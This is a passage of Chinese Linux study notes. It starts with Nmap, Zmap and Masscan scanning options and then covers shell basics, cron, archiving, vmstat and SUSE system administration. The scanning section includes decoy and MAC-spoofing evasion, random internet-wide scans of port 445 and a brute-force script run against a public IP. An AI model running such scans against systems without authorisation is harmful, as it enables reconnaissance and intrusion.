          • 通常一个入侵者可能对某个操作系统的漏洞很熟悉,能很轻易地进入此操作系统的机器。一个常见的选项是TCP/IP上的指纹,带有”-O”选项决定远程操作系统的类型。这可以和一个端口扫描结合使用,但不能和ping扫描结合使用。Nmap通过向主机发送不同类型的探测信号,缩小查找的操作系统系统的范围。指纹验证TCP包括使用FIN探测技术发现目标机的响应类型。BOGUS的标志探测,发现远程主机对发送的带有SYN包的不明标志的反应,TCP 初始序列号(ISN)取样发现ISN数值的样式,也可以用另外的方式决定远程操作系统。
        8. Ident扫描(Ident Scanning):-I:nmap -sT -p 80 -I -O wssnbb.xyz
          • 一个攻击者常常寻找一台对于某些进程存在漏洞的电脑。比如,一个以root运行的WEB服务器。如果目标机运行了identd,一个攻击者使用Nmap通过”-I”选项的TCP连接,就可以发现哪个用户拥有http守护进程。我们将扫描一个Linux WEB服务器为例:
        • -sn ,只检测存活主机,不扫描其他信息
        • -sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/window/maimon scans
        • -sV :服务程序检测
        • -PT:在目标机或网络上常见的未经过滤的端口,进行TCP “ping”扫描。
        • -PS[portlist](TCP SYN Ping):该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 (可以通过改变nmap.h文件中的DEFAULT-TCP-PROBE-PORT值进行配置) ,但不同的端口也可以作为选项指定。甚至可以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000),在这种情况下,每个端口会被并发地扫描。nmap -PS 192.168.60.109
        • -PA[portlist](TCP AYN Ping):与-PS参数类似。不过选择-PA向目标发送的是ACK标志位而不是SYN。如果客户端向目标主机知识发送一个标志位为ACK的数据包,那么服务器就有理由认为这个数据包出问题,并回复一个RST的报文。
        • -PU[portlist](UDP Ping):发送一个空的的 UDP报文到给定的端口(默认是31338)。如果目标主机的端口是关闭的话,UDP探测马上得到一个ICMP端口无法达到的回应报文。这时,说明目标主机开启。而出现例如:TTL超时则表示该主机未开启。同时,这种方式可以绕过过滤以TCP方式探测的包。
        • -PE;-PP;-PM(ICMP PING Types):Nmap发送一个ICMP type 8 (回声请求)报文到目标IP地址, 期待从运行的主机得到一个type 0 (回声响应)报文。-PE用于打开该回声请求功能。-PP、-PM:时间戳和地址掩码查询。
        • -PR(arp ping):基于RFC1918私有地址范围的网络,在一个给定的时间绝大部分IP地址都是不使用的。当Nmap试图发送一个原始IP报文如ICMP回声请求时, 操作系统必须确定对应于目标IP的硬件 地址(ARP),这样它才能把以太帧送往正确的地址。
      • 参数 -n(不用域名解析),-R(为所有目标解析域名),-v (它详细列出所有信息), -p (可以指定扫描端口 ),--system-dns (使用系统域名解析器)
    • 查看本地路由与接口:nmap --iflist
    • 指定mac和ip地址:nmap -e mac地址 ip地址
    • 地址诱骗:nmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME192.168.1.103
    • 虚假mac地址:nmap -sV --spoof-mac 08:00:27:47:63:E6 103.10.87.148
    • 指定源端口:nmap -sV --source-port 900 103.10.87.148 --source-port
    • 扫描思科路由器:nmap -p1-25,80,512,9001 10.20.0.1/16
    • 扫描路由器的tftp协议:nmap -sU -p69 -nvv 192.168.1.253
    • -F快速扫描:nmap -O -F -n 103.10.57.148
    • 随机产生1万个IP地址,对其445端口进行扫描,结果以greppable(可用grep提取)格式输出到nmap.txt文件:nmap -iR 10000 -sS -PS80 -p 445 -oG nmap.txt
    • Nmap---脚本使用:nmap --script=brute 49.233.196.213
  2. zmap:Zmap采用了无状态的扫描技术,没有进行完整的TCP三次握手,因此扫描速度极大提升。Zmap的基本功能是扫描发现主机的开放端口。
    • 特性:
      • 一次扫描支持单端口,不支持在命令里设置目标IP。
      • 设置黑白名单,由于Zmap设计为在全网范围内寻找主机,若想对特定网段进行扫描,以利用白名单的方式;
      • 设置扫描数量和扫描时间;
      • 设置扫描速率,由于Zmap会以网络适配器支持的最快速率进行扫描,不会根据上游流量提供商自动调整发送速率,需要手动调整,来减少丢包和不正确的结果。可以通过设置每秒发包数量或带宽进行调整;
      • 设置扫描源端口、源IP,伪造网关MAC地址进行伪装。
      • 结果输出默认csv格式,经过额外的配置可输出redis和JSON;用户也可以用官方提供的API自己编写输出模块。
      • 扫描模式,支持TCPSYN、ICMP echo、UDP三种扫描模式,用户也可以用官方提供的API自己编写探测模块。
      • Banner获取,Zmap并不直接提供Banner获取功能,需要编写扩展模块
    • Zmap—常规选项
      • -p,--target-port=port TCP端C 1号(比如443)
      • -o,--output-file=name我们要保存的扫描结果,用-表示屏幕输出
      • -b,--blacklist- file=path子网排除使用CIDR表示方法,参考/etc/zmap/blacklist.conf
      • -n--max-target=n最大目标数量,可以是一个数字比如n 1000或者-n 0.1% (可扫描的址空间) , 不包含黑名单中的地址
      • -N,-max-results=n接受到多少结果后,推退出
      • -t,--max-runtime=secs 发送数据包最长时间
      • -B , --bandwidth=bps设置发送速率数据包/秒
      • -c,--cooldown-time-secs在发送数据包后多少时间收返回数据(默认8s)
      • -e,--seed=n用于选择地址排序,如果你想运行多个zmap对地址进行扫描时使用
      • -T,--sender-threads=n发包线程(默认1 )
        -P,--probes=n对每个IP进行探测的次数(默认每个IP一次探测) -d,-dryrun调试时
        使用,在屏幕显示每个数据包,但不发送
    • Zmap—网络选项
      • -s,--source-port=portlrange反达数据包的源师口
      • -S,--source-ip=iplrange.发送数据包的IP地址,可以是单个ip也可以是返回(eg:10.0.1-10.0.0.9)
      • -G --gateway-mac-addr发送数据包的网关MAC地址(不起作用下会自动检测)
    • Zmap—附加选项
      • -C,--config=filename 加载配置文件
      • -q,--quit 不再打印每秒更新的状态
      • -g,--summary 在扫描完成后打印出结构和总结结果
      • -v,--verbosity=n 详细级别(0-5,默认3)
      • -h,--help 帮助信息
      • -V , --version打印出版本信息
    • Zmap-简单案例
      • zmap -B 20M -p 80 -n 100 -o results.txt (在20M网速下,随机100个ip地址对80端口扫描)
      • zmap -B 20M -p 80 -n 100-o results.txt -b /etc/zmap/blacklist.conf (使用黑名单文件)
      • zmap -B 20M -p 80 -n 100-0 results.txt -s 889 (指定
        源端口)
    • Zmap icmp扫描 : --probe--module=icmp_ echoscan
      • zmap -B 20M -p 80 -n 100 -o results1.txt --probe-module=icmp_echoscan
    • Zmap--udp扫描:--probe-module=udp
      • zmap -B 20M -p 80 -n 100 -o results.txt --probe-module=udp
    • Zmap的扩展模块需使用C语言编写,官方提供了两个扩展模块用于获取Banner。
      1. banner-grab-tcp:原理是向扫描发现的IP进行二次发包抓取Banner,二次发包的内容需要自定义。
      2. forge-socket:功能与前者一样,但需要先安装驱动。该模块以底层驱动方式,效率更高。
  3. Masscan与Zmap类似,同样采用了无状态的扫描技术。
    l 允许自定义任意的地址范围和端口范围;
    l 设置黑白名单;
    l 设置扫描速率;
    l 指定发包的源IP地址、源端口和源MAC地址进行伪装。
    l 结果输出支持xml、binary、JSON、list等多种格式。
    l 为了配合用户的各种扫描需求,Masscan提供了重试次数、UA字段值、发出数据包的TTL值、发包后的等待时间等扫描设置。
    l Banner获取直接在扫描命令里使用—banners即可。

7. 基本指令

  • which : 查看命令所在路径 which ls bin里是可执行程序,即命令
  • rm -rf // 强制删除 r递归删除
  • cp -r
    -a // 拷贝文件
  • mv 源文件 目标文件 // 重命名
  • mv 源文件 路径名 // 移动
  • mkdir 创建目录
    -p 递归创建目录 A/B/C
  • touch 创建文件
  • cd 绝对路径 // 切换到指定目录
    cd .. 跳转到当前路径的上一层
    cd - 跳转到上一次所在的路径(类似电视机遥控器中的回看)
    cd ~ 跳转到当前用户的家目录(/home/python)
  • more 分屏显示
  • tree:以目录树的方式显示 文件夹结构
  • ln -s 源文件 链接文件 表示:软连接{快捷方式}
  • ln 源文件 链接文件 表示:硬链接,,,注意硬链接数量为1时,rm才会真正删除数据
  • ifconfig :查看ip地址
  • ping:+ip地址:ping 192.168.17.76 测试网络连接是否正常
  • ssh:远程登录: ssh 用户名@ip:ssh python@192.168.17.76
  • 浏览目录:ls -alh
    -l 列表
    -h human read , K,M,G
    -a all 所有
    ls -ltr /etc/ -- 按照时间进行排序显示数据信息,并且是反向排序
  • 自我定位: pwd /// 得到当前的绝对路径

8. 管道 | 与命名管道NP

  • 将第一个命令的输出作为第二个命令的输入,叫做管道。
    ls /dev/ | wc -w
    ls /bin | grep "ls"
  • 输出到文件: date > date.txt = date |tee date.txt
  • 追加到文件:
    • 覆盖:ip addr |grep 'inet ' |tee test |grep eth0
    • 追加 -a :ip addr |grep 'inet ' |tee -a test |grep eth0
  • 命名管道(Named Pipes):有名称的一个管道文件,可以被其他shell打开。
    • 终端1:tty1:
      mkfifo /tmp/fifo1 //创建一个命名管道。
      grep “sda” /tmp/fifo1 //等待查看管道内容。
    • 终端2:tty2 : ls /dev/ > /tmp/fifo1
    • 返回终端1,能查看结果。但是,再查一次,就没有了,因为管道的内容被拿走了。

9. 管道|与选取cut同一行切割选取 -f1 取第1段

grep 分析每行数据,取出含有关键字的每一行

注:管道后只能加能接收stdin的命令less more等可以 ls cp等不行
echo $PATH | cut -d ":" -f 3,5 以:为分隔符 列出第3,5个
export | cut -c 12- 列出除每一行的前12个字符以外的数据
grep [-acinv] '查找字符串' 文件名
Eg: last | grep 'root' | cut -d '' -f1 取出含root的每一行的第一列数据
排序sort
Eg: cat /etc/passwd | sort -t ':' -k 3 -t 分隔符 -k 以哪个区间排序
uniq 排序完成 想要将重复数据只列出一个 -i 忽略大小写 -c 计数
Eg: last | cut -d '' -f1 | sort |uniq -c
wc 计算输出数据 -l 仅列出多少行 -w仅列出多少字(英文单字) -m多少字符 默认三个都输出
双向重定向 tee 同时将数据库送到文件与屏幕
ls -l /home | tee ~/file1 | more 将ls显示的数据生成一份文件(覆盖),屏幕也输出
tee -a 累加到文件中
tr 输出一段信息中的文字,或替换 -d 删除 -s 替换
join 两文件中相同数据的行整合在一起 -t 以什么分隔 -i 忽略大小写
paste 将对应行整合在一起 中间以 【tab】分隔
expand 将 【tab】转换成空格 默认8个(根据定义) expand -t 6 file 换成6个空格

  • 减号的用途 tar -cvf - /home | tar -xvf - 最后的- 取用前一个命令的stdout 不需要输入文件名

10. 输入输出重定向: < >

  1. 输出重定向

    file 如果文件不存在创建。存在清零。

    file 如果文件不存在创建,存在追加

  2. 输入重定向
    < file.txt file文件作为输入源

  3. 出错重定向
    2>
    &>
    2>>
    标准输入 代码为0 为 <覆盖 <<累加
    标准输出 1 > >>
    标准错误输出 2 2> 2>> 将错误数据输出
    Eg: find / -name *a > list_right 2> list_error

11. 向终端输出字符串: echo

  • 改变终端颜色: echo -e "\e[1m"
    echo "hell 123" // 字符串的原样输出
    echo hell 123 // 输出字符串,省略部分空格
    echo -n hello woeld // 输出内容,不换行
    set 类似管道 且可进行数据的替换删除新增选取特定行等功能 【nefri】 行处理
    printf 格式化打印 似c语言
    awk 数据处理工具 awk ‘条件类型1{动作1}条件类型2{动作2}’ 字段处理
    NF 每行字数 NR 目前处理的是第几行 FS 目前的分割字符(默认是空格)

12. 命令别名 alias 显示全部已设置

  • alias lm=‘ls -l| more’ 将显示更多取别名为lm
  • unalias lm 删除此别名
  • 别名的设置与变量设置方法相同,在不同文件中设置可以使其永久生效或者临时生效,
    如:可以在/etc/profile文件中添加 alias ls='ls --color=auto' alise ll='ls -alF' 设置命令ll 和ls
    • 系统CentOS,永久保存在.bashrc里。(或者可以在root家目录下输入:ls -a ~看到那个文件就是哪个了),可执行 . .bashrc重新加载别名文件生效(这样更改后只有root用户的别名生效,要想普通用户有效,普通用户目录下的.bashrc也必需作同样的修改!)

13. 同名命令执行的查找顺序: type -a ls 查看ls命令的查找执行顺序

  1. 以直接路径执行 ./ls
  2. 由alias别名找到该命令执行;
  3. 有bash内置的(builtin)命令执行;
  4. 通过$PATH这个变量内容中的顺序找到第一个此命令来执行;

14. 快捷键:stty

  • stty -a 显示全部
  • Eg: intr=^c ^表示ctrl 给当前运行程序一个中断信号
  • stty stop ^Q 设置为暂停屏幕输出 start ^S 恢复屏幕输出

15. 命令连续执行: && ||

cmd1 && cmd2  1执行完且正确则执行2   ls /a && touch /a/ha
   ||       1执行完但错误则执行2   ls /a || mkdir /a

Eg: ls /a/b && echo "haha" || echo "no" 判断式
若/a/b存在则显示haha 否则显示no

16. 命令置换: ls pwd 先执行pwd :将一个命令的输出作为另一个命令的参数

17. 安排计划任务: 单次:at 周期:crond

  • 一次性安排计划任务 at 安排作业在某一时刻执行一次
    batch 安排作业在系统负载不重时执行一次
    首先开启atd : service atd static_assert
    at 时间 :在某一时刻执行某个程序(命令),命令必须为全路径
    绝对时间: HH:MM mm/dd/yyyy 月日年 tomorrow
    相对时间: now + n minutes 或 hours 或 day
    at 12:00
    >/bin/cp -r /root/a /home/
    >/bin/echo "134" > /root/one.txt
    ctrl d 结束安排
    at -l 或 atq 查看任务计划时间点
    at -d 计划号 或 atrm 计划号 删除任务
    at -f 文件 时间点 或 at < one.txt 时间点 定时执行shell脚本 命令文件的方式方便
    at的执行结果和配置文件
    at的结果 通过邮件寄给提交这个命令的用户
    at的配置文件 : 限制哪些用户可以使用at
    /etc/at.allow 如果这个文件存在 则只有列在这个文件中的用户可以使用at 不存在则查at.deny
    /etc/at.deny 存在则文件中的用户均不能使用at命令
    如果两文件都不存在 则只有root用户可以使用at
    如果两文件都存在且均为空 则所以用户都可以使用
  • 周期性安排进程任务 crond
    首先开启 service crond static_assert
    crond 进程搜索crontab文件并载入内存
    croutab文件即 /var/spool/cron目录下以用户名命名的文件
    crond 进程启动后 首先检查用户是否设置了crontab文件,如果没有则转入休眠状态 ,释放系统资源。
    crond进程每分钟醒来一次,查看crontab文件决定当前是否有需要执行的命令
    命令执行结束后,任何输出都将作为邮件发送给crontab的所有者
    crontab -e 使用编辑器编辑当前的crontab文件
    crontab -l 将使在标准输出中输出显示当前的文件内容
    crontab -r 删除当前的crontab
    每个任务首部时间由5部分组成 时间+commands(执行的命令)
    分【0-59】 时【0-23】 哪天【1-31】 哪个月【1-12】 一周中的那一天【0-6】
    15,30 /2 * 1-5 /bin/find $HOME -name core 2 > /dev/null|rm -f 每周1-5的每两小时的15和30分 执行查找文件
    配置文件 /etc/cron.allow 和 /etc/cron.deny

18. 内置命令外部命令查询 type

    -t   内外   

-p 外部命令才显示文件名
-a 将所有含name的命令都列出来 包含 alias

19. 备份与压缩: tar用来打包备份 , gzip用来压缩

  • tar -cvf xxx.tar * 打包
    gzip xxx.tar 压缩
    gzip -d xxx.tar.gz 解压
    tar -xvf xxx.tar 解包
  • tar [主选项+辅选项] 文件或者目录
    • 主选项:
      • c 创建新的档案文件。如果用户想备份一个目录或是一些文件,就要选择这个选项。
      • r 把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件,将忘记备份的目录或文件追加到备份文件中。
      • t 列出档案文件的内容,查看已经备份了哪些文件。
      • u 更新文件。就是说,用新增的文件取代原备份文件,如果在备份文件中找不、到要更新的文件,则把它追加到备份文件的最后。
      • x 从档案文件中释放文件。
    • 辅助选项:
      • b 该选项是为磁带机设定的。其后跟一数字,用来说明区块的大小,系统预设值为 20(20*512 bytes)。
      • f 使用档案文件或设备,这个选项通常是必选的。
      • k 保存已经存在的文件。例如我们把某个文件还原,在还原的过程中,遇到相
        同的文件,不会进行覆盖。
      • m 在还原文件时,把所有文件的修改时间设定为现在。
      • M 创建多卷的档案文件,以便在几个磁盘中存放。
      • v 详细报告 tar 处理的文件信息。如无此选项, tar 不报告文件信息。
      • w 每一步都要求确认。
      • z 用 gzip 来压缩/解压缩文件,加上该选项后可以将档案文件进行压缩,但还原时也一定要使用该选项进行解压缩
  • gzip: gzip [选项] 压缩(解压缩)的文件名
    • c 将输出写到标准输出上,并保留原有文件。
    • d 将压缩文件解压。
    • l 对每个压缩文件,显示下列字段:压缩文件的大小 未压缩文件的大小 压缩比 未压缩文件的名字
    • r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。
    • t 测试,检查压缩文件是否完整。
    • v 对每一个压缩和解压的文件,显示文件名和压缩比。
    • num 用指定的数字 num 调整压缩的速度, -1 或--fast 表示最快压缩方法(低压缩比), -9 或--best 表示最慢压缩方法(高压缩比)。系统缺省值为 6。
  • zip压缩:
    1. 安装支持ZIP的工具:
    2. 解压zip文件:unzip [选项] 文件名.zip
      • x 文件列表 解压缩文件,但不包括指定的 file 文件。
      • v 查看压缩文件目录,但不解压。
      • t 测试文件有无损坏,但不解压。
      • d 目录 把压缩文件解到指定目录下。
      • z 只显示压缩文件的注解。
      • n 不覆盖已经存在的文件。
      • o 覆盖已存在的文件且不要求用户确认。
      • j 不重建文档的目录结构,把所有文件解压到同一目录下。
    3. 压缩一个zip文件 zip 文件名.zip 文件夹名称或文件名称
  • 常见的压缩解压方式:
    压缩: tar -zcvf xxx.tar.gz 解压: tar -zxvf xxx.tar.gz
    压缩: tar -jcvf xxx.tar.bz2
    解压: tar -jxvf xxx.tar.bz2
    压缩: zip 包的名 要压缩的东西 解压: unzip -d 要解压到的路径 包的名
    压缩: gzip

20.命令提示符

  1. 修改命令提示符的内容: 进入修改环境个性化设置文件:
    vim ~/.bashrc
    最后添加 export PS1='[\u@\H \w]$ '
    source ~/.bashrc
    执行刚修改的初始化文件,使之立即生效
  2. 命令提示符如何修改颜色:
    Linxu系统中如何给信息加颜色
    [\e[F;Bm] 文字内容 \e[m
    ”[[\e[31;40m]\u\e[m @\h \W]$ “
    tail -5 /etc/profile
    export PS1='[\e[32;1m][\u@\h \W]$ [\e[0m]'
    设置颜色 内容 结束
    export PS1='[\e[30;1m][\u@\h \W]$ [\e[0m]' -- 黑色提示符
    export PS1='[\e[31;1m][\u@\h \W]$ [\e[0m]' -- 红色提示符
    export PS1='[\e[32;1m][\u@\h \W]$ [\e[0m]' -- 绿色提示符
    export PS1='[\e[33;1m][\u@\h \W]$ [\e[0m]' -- 黄色提示符
    export PS1='[\e[34;1m][\u@\h \W]$ [\e[0m]' -- 蓝色提示符
    export PS1='[\e[35;1m][\u@\h \W]$ [\e[0m]' -- 粉色
    export PS1='[\e[36;1m][\u@\h \W \t]$ [\e[0m]' -- 浅蓝
    export PS1='[\e[37;1m][\u@\h \W]$ [\e[0m]' -- 白色

21. 查询历史记录:history

  • history 查看历史记录
  • echo $HISTSIZE
    修改历史记录的容量:
    1. 临时性修改
      HISTSIZE=100
    2. 永久性修改
      vi .bashrc
      HISTSIZE=500
      source .bashrc /// 重启配置文件生效
  • history -w 强制立即写入到~/.bash_histoy中 否则等注销后才写入
  • !:执行上一个命令
    • !al 执行最近以al开头的命令 !66 执行第66条命令

22.不用输入./就能运行程序

  1. 之所以选择/usr/local/bin是因为这个路径是用户自己下载的程序路径(大概是这样吧,看到后面的/user/bin我有点摸不准了,不过具体选择哪个路径,也没有具体的规定)
  2. 把解压后的程序文件夹放到/usr/local/src中,这个路径也不是硬性规定
  3. 创建软链接到系统路径/usr/local/bin中呗,这样就能直接运��sendemail这个命令了
  4. linux系统大小写敏感,所以我把命令改为小写,敲起来舒服一点嘛,其实这个省去的,因为使用tab键可以自动补全,不过我比较喜欢手动敲完命令

23.vmstat命令是最常见的Linux/Unix监控工具

  • 可以展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情况。这个命令是我查看Linux/Unix最喜爱的命令,一个是Linux/Unix都支持,二是相比top,我可以看到整个机器的CPU,内存,IO的使用情况,而不是单单看到各个进程的CPU使用率和内存使用率(使用场景不一样)。
  • 一般vmstat工具的使用是通过两个数字参数来完成的,第一个参数是采样的时间间隔数,单位是秒,第二个参数是采样的次数,如:vmstat 2 12表示每个两秒采集一次服务器状态,1表示只采集一次。
    procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu----
    r b swpd free buff cache si so bi bo in cs us sy id wa
    1 0 0 3498472 315836 3819540 0 0 0 1 2 0 0 0 100 0
  • 参数
    • r 表示运行队列(就是说多少个进程真的分配到CPU),我测试的服务器目前CPU比较空闲,没什么程序在跑,当这个值超过了CPU数目,就会出现CPU瓶颈了。这个也和top的负载有关系,一般负载超过了3就比较高,超过了5就高,超过了10就不正常了,服务器的状态很危险。top的负载类似每秒的运行队列。如果运行队列过大,表示你的CPU很繁忙,一般会造成CPU使用率很高。
    • b 表示阻塞的进程,这个不多说,进程阻塞,大家懂的。
    • swpd 虚拟内存已使用的大小,如果大于0,表示你的机器物理内存不足了,如果不是程序内存泄露的原因,那么你该升级内存了或者把耗内存的任务迁移到其他机器。
    • free 空闲的物理内存的大小,我的机器内存总共8G,剩余3415M。
    • buff Linux/Unix系统是用来存储,目录里面有什么内容,权限等的缓存,我本机大概占用300多M
    • cache cache直接用来记忆我们打开的文件,给文件做缓冲,我本机大概占用300多M(这里是Linux/Unix的聪明之处,把空闲的物理内存的一部分拿来做文件和目录的缓存,是为了提高 程序执行的性能,当程序使用内存时,buffer/cached会很快地被使用。)
    • si 每秒从磁盘读入虚拟内存的大小,如果这个值大于0,表示物理内存不够用或者内存泄露了,要查找耗内存进程解决掉。我的机器内存充裕,一切正常。
    • so 每秒虚拟内存写入磁盘的大小,如果这个值大于0,同上。
    • bi 块设备每秒接收的块数量,这里的块设备是指系统上所有的磁盘和其他块设备,默认块大小是1024byte,我本机上没什么IO操作,所以一直是0,但是我曾在处理拷贝大量数据(2-3T)的机器上看过可以达到140000/s,磁盘写入速度差不多140M每秒
    • bo 块设备每秒发送的块数量,例如我们读取文件,bo就要大于0。bi和bo一般都要接近0,不然就是IO过于频繁,需要调整。
    • in 每秒CPU的中断次数,包括时间中断
    • cs 每秒上下文切换次数,例如我们调用系统函数,就要进行上下文切换,线程的切换,也要进程上下文切换,这个值要越小越好,太大了,要考虑调低线程或者进程的数目,例如在apache和nginx这种web服务器中,我们一般做性能测试时会进行几千并发甚至几万并发的测试,选择web服务器的进程可以由进程或者线程的峰值一直下调,压测,直到cs到一个比较小的值,这个进程和线程数就是比较合适的值了。系统调用也是,每次调用系统函数,我们的代码就会进入内核空间,导致上下文切换,这个是很耗资源,也要尽量避免频繁调用系统函数。上下文切换次数过多表示你的CPU大部分浪费在上下文切换,导致CPU干正经事的时间少了,CPU没有充分利用,是不可取的。
    • us 用户CPU时间,我曾经在一个做加密解密很频繁的服务器上,可以看到us接近100,r运行队列达到80(机器在做压力测试,性能表现不佳)。
    • sy 系统CPU时间,如果太高,表示系统调用时间长,例如是IO操作频繁。
    • id 空闲 CPU时间,一般来说,id + us + sy = 100,一般我认为id是空闲CPU使用率,us是用户CPU使用率,sy是系统CPU使用率。
    • wt CPU等待IO时间。

sap_linux常用sap_linux命令

  1. 安装虚拟机软件
    -VM

  2. 计划你的系统硬件设置

    1. 系统网络的配置
      system -- network & hostname
      configure--通用配置(激活网卡功能)-- IP地址进行了设置
      系统主机名设置

    2. 系统分区的配置
      system -- install destination 进行系统分区
      如何对linux系统进行分区:

      1. 通用分区方案
        c盘==/boot 引导分区 200M
        ==swap 交换分区 当内存不够用的时候,将硬盘中的空间充当内存使用 1G
        内存<8G
        建议交互分区大小=内存大小的1.5倍 内存1G--swap1.5G
        内存>=8G
        建议交互分区大小=8G
        ==/ 根分区 剩余全部空间
      2. 数据信息比较重要的分区方案
        /boot 200M
        swap <8G 1.5内存大小
        >=8G 8G
        / 20G~200G
        /data不 剩余空间大小
    3. 系统安全的配置(关闭)
      system-kdump 将宕机前系统中的内存异常信息进行保存
      system-security policy 系统的安全策略配置

    4. 系统时区的设置
      localization-date time

    5. 系统软件的安装
      software(软件)-- software selection(软件选择)-- 最小化安装(1 2 3 6)

  3. 磁盘空间分割

    • 磁盘分区实践--磁盘小于2T
      1. 准备磁盘环境:添加新的10G硬盘
      2. 在系统中检查是否识别到了新的硬盘:ll /dev/sdb
      3. 对磁盘进行分区处理: fdisk -l --- 查看分区信息
      4. 开始分区: fdisk /dev/sdb
        m 查看全部可用的参数
        n 添加新的分区
        d 删除某个分区信息
        l 列出所有可用的分区类型,所有磁盘信息包括未加载磁盘
        t 改变某个分区的类型
        p 查看分区信息
        w 保存并退出
        q 不保存直接退出
      5. 保存退出,让系统可以加载识别分区信息
        partprobe /dev/sdb
        计划你的系统的功能和软件
  4. suse linux的安装步骤和设置
    suse linux的安装步骤和设置

  5. 检查你的系统信息

    • cat /etc/issue
      Welcome to SUSE Linux Enterprise Server 11 SP2 (x86_64) - Kernel \r (\l).
    • lsb_release -a
      LSB Version: core-2.0-noarch:core-3.2-noarch:core-4.0-noarch:core-2.0-x86_64:core-3.2-x86_64:core-4.0-x86_64:desktop-4.0-amd64:desktop-4.0-noarch:graphics-2.0-amd64:graphics-2.0-noarch:graphics-3.2-amd64:graphics-3.2-noarch:graphics-4.0-amd64:graphics-4.0-noarch
      Distributor ID: SUSE LINUX
      Description: SUSE Linux Enterprise Server 11 (x86_64)
      Release: 11
      Codename: n/a
  6. 关机,重启,init和停止

    • shutdown [选项] [时间] [警告信息]
    • 选项参数
      • k 并不真正关机,而只是发出警告信息给所有用户。
      • r 关机后立即重新启动。
        sudo shutdown -r now /// 重启
      • h 关机后不重新启动。
        sudo shutdown -h +35 /// 多少分钟之后关机
        sudo shutdown -h now /// 立刻关机
        sudo shutdown -h 15:00 /// 某一个时刻关机
      • f 快速关机,重启动时跳过 fsck。
      • n 快速关机,不经过 init 程序。
      • c 取消一个已经运行的 shutdown。 shutdown -c // 取消关机
  7. 本地登录到您的系统

    • sudu 用户名
  8. 远程登录到您的系统

    • ssh 用户名@IP
  9. 创建组

    • groupadd a
  10. 创建用户

    • useradd ws
  11. 创建具有特殊组的用户

    • useradd ws -g 组名
  12. 删除用户和组、

    • sudo deluser --remove-home u1
    • groupdel 组名
  13. 更改用户组 usermod -g 组 ws

  14. 修改特殊用户的pwd

  15. 切换用户 sudo ws

  16. 了解用户、组和pwd的cfg文件

    • 用户相关信息文件:/etc/passwd
      linux❌1000:1000:linux,,,:/home/linux:/bin/bash
      用户名:密码:用户id:组id:个人信息:家目录:登录shell

    • 查看所有组:/etc/group
      linux❌1000:
      组名:密码:组id: 成员列表

      • 修改用户所属组: sudo usermod -g 组名 用户名 // 将用户添加到组中
    • 密码信息相关文件 : /etc/shadow
      学习系统的目录结构
      学习文件和目录权限的概念
      更改文件和目录权限

  17. 更改文件和目录用户和组

    • chown linux 文件名 // 修改文件的所属用户
    • chgrp linux 文件名 // 修改文件所属组
  18. 检查磁盘、切片和分区
    mkfs.xfs /dev/sdb1
    mkfs -t xfs /dev/sdb2

  19. 挂载和卸载文件系统

    • 检查确认:df -h
      /dev/sdb1 1014M 33M 982M 4% /mount01
    • 如何实现开机自动挂载:
      • 法1:将挂载命令放入/etc/rc.local
        tail -2 /etc/rc.local
        mount /dev/sdb1 /mount01
        系统开机加载rc.local流程:
        加载/etc/rc.local --> /etc/rc.d/rc.local --> 以绝对路径方式执行
        chmod +x /etc/rc.d/rc.local -- 文件必须是执行权限
      • 法2:在/etc/fstab文件中进行设置
        UUID=e2fc8646-2b36-47cc-a35a-8c13208f4d0b / xfs defaults 0 0
        UUID=34fc45ba-c38c-42bc-a120-90f9d5dd2382 /boot xfs defaults 0 0
        UUID=62100743-6f8a-4f83-a37d-e2088c4830e2 swap swap defaults 0 0
        挂载磁盘文件(存储设备) 挂载点 指定文件系统类型 挂载的参数 是否备份磁盘 是否检查磁盘
        mount 挂载的磁盘文件 挂载点
        tail -2 /etc/fstab
        /dev/sdb1 /mount01 xfs defaults 0 0
        UUID=144738ff-0da3-4162-b574-40af379cbe9e /mount02 xfs defaults 0 0
  20. 通过系统工具安装软件
    SUSE环境下通过YaST安装软件
    insall软件来源 yum apt

  21. 启动进程,启动后台进程

    • 执行:nohup *.sh &
    • 查看:jobs
    • 关闭:fg %n
  22. 杀进程 kill -9

  23. 监控进程 monitor process

  24. 监视磁盘、

    • iostat命今可用于显示磁盘IO情况,iostat命今包含于sysstat包中,SUSE默认没有安装,可通过zypper in systat来安装。
  25. 启动和停止服务
    -/sbin/下面根本就没有service这个程序

    • suse里面的服务脚本都是用rc开头的。比如rcapache2,rcsmb,rcnfs.比用service命令少敲好几个字符呢。
    • 临时关闭服务方法:
      停止smtp:/etc/init.d/postfix stop
      停止rpc:/etc/init.d/portmap stop
      停止svrloc:/etc/init.d/slpd stop
      停止ipp:/etc/init.d/cupsd stop
    • 永久关闭方法:
      chkconfig -s 服务名 off
  26. 监控服务
    SuSE系统之部署Zabbix监控服务

  27. 配置网络(主机名、ip、域、网关、dns)

    • 方法一、在命令行中配置。输入:
      ifconfig eht0 9.111.66.96 netmask 255.255.255.0 up
      route add default gw 9.111.66.1
    • 方法二、在文件中设置。
      示例参数:
      DNS:8.8.8.8
      8.8.4.4
      IP:192.168.21.172
      网关:192.168.21.2
      子网掩码:255.255.255.0
    1. 设置IP地址
      vi /etc/sysconfig/network/ifcfg-eth0 #编辑配置文件
      BOOTPROTO='static' #静态IP
      BROADCAST='192.168.21.255' #广播地址
      IPADDR='192.168.21.172' #IP地址
      NETMASK='255.255.255.0' #子网掩码
      NETWORK='192.168.21.0' #网络地址
      STARTMODE='auto' #开机启动网络
    2. 设置网关
      vi /etc/sysconfig/network/routes #编辑文件
      default 192.168.21.2 - -
    3. 设置DNS
      • vi /etc/resolv.conf #编辑文件
        nameserver=8.8.8.8
        nameserver=8.8.4.4
    • rcnetwork restart #重启网络
    • service network restart #重启网络
    • /etc/init.d/network restart #重启网络
      网络相关的cmds
      网络相关文件
      创建/移动/删除文件,目录
      查看文本文件
      编辑文本文件
      查找文件
  28. 查看环境变量 env 、 echo $PATH

  29. 增加和删除环境变量

    • 常见的配置文件包括:
      1. /etc/profile:对所有用户生效;此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行;并从/etc/profile.d目录的配置文件中搜集shell的设置
